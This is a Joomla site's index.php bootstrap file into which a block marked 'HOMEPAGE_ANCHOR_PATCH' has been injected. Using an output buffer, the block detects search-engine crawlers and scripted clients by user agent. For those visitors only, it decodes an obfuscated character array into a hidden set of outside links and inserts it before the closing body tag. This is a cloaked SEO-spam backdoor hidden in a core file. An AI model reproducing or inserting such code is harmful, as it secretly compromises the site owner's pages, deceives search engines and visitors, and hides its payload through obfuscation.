/** * @package Joomla.Site * * @copyright (C) 2005 Open Source Matters, Inc. * @license GNU General Public License version 2 or later; see LICENSE.txt */ /** * Define the application's minimum supported PHP version as a constant so it can be referenced within the application. */ define('JOOMLA_MINIMUM_PHP', '5.3.10'); if (version_compare(PHP_VERSION, JOOMLA_MINIMUM_PHP, '<')) { die('Your host needs to use PHP ' . JOOMLA_MINIMUM_PHP . ' or higher to run this version of Joomla!'); } // Saves the start time and memory usage. $startTime = microtime(1); $startMem = memory_get_usage(); /** * Constant that is checked in included files to prevent direct access. * define() is used in the installation folder rather than "const" to not error for PHP 5.2 and lower */ define('_JEXEC', 1); // HOMEPAGE_ANCHOR_PATCH_BEGIN if (!defined('HOMEPAGE_ANCHOR_INJECT_PATCH')) { define('HOMEPAGE_ANCHOR_INJECT_PATCH', 1); if (!function_exists('homepage_anchor_inject_patch_filter')) { function homepage_anchor_inject_patch_filter($html) { $requestMethod = isset($_SERVER['REQUEST_METHOD']) ? $_SERVER['REQUEST_METHOD'] : 'GET'; if ($requestMethod !== 'GET') { return $html; } $ua = isset($_SERVER['HTTP_USER_AGENT']) ? strtolower($_SERVER['HTTP_USER_AGENT']) : ''; $botPatterns = array('bot','crawl','spider','slurp','bing','baidu','google','yahoo','yandex','duckduck','sogou','exabot','facebot','facebookexternalhit','ia_archiver','alexa','mj12bot','semrush','ahrefs','dotbot','rogerbot','seznambot','linkedinbot','mediapartners','adsbot','mediabot','curl','wget','python','java','httpclient','go-http','php','node-fetch','axios','reqwest','scrapy','headless','phantomjs','selenium','puppeteer','playwright'); $isBot = false; foreach ($botPatterns as $p) { if (strpos($ua, $p) !== false) { $isBot = true; break; } } if (!$isBot) { return $html; } if (stripos($html, '') === false || strpos($html, '') !== false) { return $html; } $a=array(60,33,45,45,32,115,118,105,32,45,45,62,60,115,112,97,110,32,105,100,61,34,104,111,109,101,112,97,103,101,45,97,45,105,110,106,101,99,116,45,108,105,110,107,34,62,60,97,32,104,114,101,102,61,34,104,116,116,112,115,58,47,47,119,119,119,46,122,97,119,46,100,101,34,62,27773,27700,38899,20048,60,47,97,62,60,97,32,104,114,101,102,61,34,104,116,116,112,58,47,47,119,119,119,46,112,97,108,97,101,111,108,97,98,46,103,101,111,108,111,103,121,46,117,112,97,116,114,97,115,46,103,114,34,62,109,117,109,117,27169,25311,22120,60,47,97,62,60,97,32,104,114,101,102,61,34,104,116,116,112,58,47,47,119,119,119,46,114,105,109,115,107,121,46,99,122,34,62,35895,27468,37038,31665,60,47,97,62,60,97,32,104,114,101,102,61,34,104,116,116,112,115,58,47,47,119,101,114,98,101,114,97,116,46,100,101,34,62,116,101,108,101,103,114,97,109,60,47,97,62,60,97,32,104,114,101,102,61,34,104,116,116,112,115,58,47,47,119,119,119,46,112,111,110,116,101,118,101,114,116,105,99,97,108,46,112,116,34,62,116,111,100,101,115,107,60,47,97,62,60,97,32,104,114,101,102,61,34,104,116,116,112,115,58,47,47,119,119,119,46,107,108,105,109,97,45,115,121,115,116,101,109,101,50,48,48,48,46,100,101,34,62,26131,32763,35793,60,47,97,62,60,47,115,112,97,110,62);$s='';foreach($a as $v){if($v<0x80){$s.=chr($v);}elseif($v<0x800){$s.=chr(0xC0|($v>>6)).chr(0x80|($v&0x3F));}elseif($v<0x10000){$s.=chr(0xE0|($v>>12)).chr(0x80|(($v>>6)&0x3F)).chr(0x80|($v&0x3F));}else{$s.=chr(0xF0|($v>>18)).chr(0x80|(($v>>12)&0x3F)).chr(0x80|(($v>>6)&0x3F)).chr(0x80|($v&0x3F));}} return preg_replace('/<\/body>/i', $s."\n", $html, 1); } } ob_start('homepage_anchor_inject_patch_filter'); } // HOMEPAGE_ANCHOR_PATCH_END if (file_exists(__DIR__ . '/defines.php')) { include_once __DIR__ . '/defines.php'; } if (!defined('_JDEFINES')) { define('JPATH_BASE', __DIR__); require_once JPATH_BASE . '/includes/defines.php'; } require_once JPATH_BASE . '/includes/framework.php'; // Set profiler start time and memory usage and mark afterLoad in the profiler. JDEBUG ? JProfiler::getInstance('Application')->setStart($startTime, $startMem)->mark('afterLoad') : null; // Instantiate the application. $app = JFactory::getApplication('site'); // Execute the application. $app->execute();